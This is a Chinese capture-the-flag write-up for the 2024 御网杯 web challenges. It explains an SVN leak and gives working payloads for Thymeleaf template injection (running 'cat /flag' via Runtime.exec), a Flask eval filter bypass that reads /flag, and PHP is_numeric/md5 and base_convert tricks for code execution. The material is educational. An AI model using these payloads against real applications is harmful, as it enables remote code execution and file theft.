2024御网杯web题解
Web
input_data
就是一个简单是svn泄露
直接在pristine/57/中即可找到
Admin
通过爆错和提示可以确定是Thymeleaf 模板注入命令执行
参考资料:
https://zhuanlan.zhihu.com/p/248416919
https://xz.aliyun.com/t/9826?u_atoken=b9d5b4c8f462ecf95b3441b560c7c2f1&u_asig=0a472f9217269846318181351e004c&time__1311=QqRx2iDtvx0Dlx%3DGkDRDjrp8D8Il3%2B5qx
爆破得到注入路径至于参数是我不断尝试网上资料的参数试出来的
对大括号进行编码
Payload:
?path=$%7Dnew java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("cat /flag").getInputStream()).next()%7D::x
Flask
附件如下
看其过滤
字母留了c并且可用数字
我们可以想到格式化字符,进行任意文件读取
"%c%c%c%c%c"%(47,102,108,97,103)
"%c%c%c%c%c" 是一个格式化字符串,它会被填充成五个字符。
对应的 ASCII 值 (47, 102, 108, 97, 103) 分别对应:
47 → /
102 → f
108 → l
97 → a
103 → g
格式化后结果是 "/flag"。
Payload:
?evalme="%c%c%c%c%c"%(47,102,108,97,103)
如此多的FLAG
查看源码
得到文件
访问后得到提示查看cookie
又得到一个新的文件名
!
查看得源码
就是简单的一个X,Y先绕过一下(is_numeric()绕过和md5绕过)
后面Z这过滤的太多
但是我们能用 base_convert 函数
我们可以直接给Z赋值base_convert(55490343972,10,36)(),也就是phpinfo()
这里进行执行
但是我们要得到flag
但是有长度限制
我们只能进行变量覆盖
完成
从而得到flag
Payload:
?X=10001a&Y=0e807097110&Z=$f1ag=base_convert(727432,10,36)